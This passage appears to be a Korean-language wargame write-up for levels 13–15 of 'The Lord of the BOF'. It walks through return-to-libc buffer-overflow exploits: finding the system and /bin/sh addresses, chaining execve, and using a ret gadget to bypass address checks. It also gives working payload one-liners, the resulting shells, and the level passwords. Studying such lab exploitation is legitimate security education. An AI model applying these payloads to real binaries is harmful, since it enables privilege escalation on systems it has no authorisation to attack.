system 함수, execv* 계열 함수 등이다. 여기서는 system 함수를 사용했다.
RTL 공격 순서
1) system 함수 주소
2) /bin/sh 문자열 주소
3) ret 주소에 system 함수주소 + dummy 4byte + /bin/sh 주소 입력
1) system 함수 주소 구하기
[darkknight@localhost darkknight]$ gdb -q bugbear2
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/bugbear2
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
2) /bin/sh 문자열 주소
[darkknight@localhost darkknight]$ cat find.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = 0x40058ae0;
while(1){
if( strcmp(ptr,"/bin/sh") ==0){
printf("%s found! (addr: %p)\n", ptr, ptr);
exit(1);
}
ptr++;
}
}
[darkknight@localhost darkknight]$ ./find
/bin/sh found! (addr: 0x400fbff9)
3) 공격
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"bbbb"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@bbbb廈@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
끝~!
LEVEL14 (bugbear -> giant) : RTL2, only execve
[bugbear@localhost bugbear]$ cat giant.c
/* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret != execve_addr) { printf("You must use execve!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
이번 문제는 execve 만을 사용하는 문제이다. 주소를 구하는 부분은 사실 볼 필요도 없고 그냥 아무 프로그램이나 실행
시킨 뒤 p execve 를 하면 주소를 구할 수 있다.
전형적인 rtl 이되 execve 를 이용하기만 하면 된다. 여기선 execve 호출 후 system 을 이어서 호출해서 풀도록 한다.
[AAAA... ][ execve ] [ system ][ dummy ] [ &/bin/sh ]
44 4 4 4 4
execve 주소 : 0x400a9d48
system 주소 : 0x40058ae0
/bin/sh 문자 주소 : 0x400fbff9
[bugbear@localhost bugbear]$ ./giant "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","\xe0\x8a\x05\x40","bbbb","\xf9\xbf\x0f\x40"'`"
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
LEVEL15 (giant -> assassin) : no stack, no RTL
[giant@localhost giant]$ cat assassin.c /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); }
bf 때문에 스택도 못 쓰고 40 때문에 library 도 못쓴다. 하지만 이외에 모든 주소가젯은 쓸 수 있다는 말과 같다.
여기선 ret 를 한번 써줘서 esp+4 를 해 준 뒤 이어서 payload 를 작성해 본다.
ret 를 한번 넣어주는 것 빼고는 위의 RTL 문제풀이와 동일하다.
[giant@localhost giant]$ objdump -d ./assassin | grep ret
8048336: c3 ret
8048435: c3 ret
804843c: c3 ret
804845c: c3 ret
8048464: c3 ret
804851e: c3 ret
8048542: c3 ret
8048548: c3 ret
8048565: c3 ret
주소는 위의 것들 중 적당히 아무거나 넣으면 된다.
[AAA... ] [ &ret ] [ system ] [ dummy ] [ &/bin/sh ]
44 4 4 4 4
[giant@localhost giant]$ ./assassin `perl -e 'print "A"x44,"\x65\x85\x04\x08","\xe0\x8a\x05\x40","AAAA","\xf9\xbf\x0f\x40"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe??@AAAA廈@ bash$ id uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) bash$ my-pass euid = 515 pushing me away
끄읕~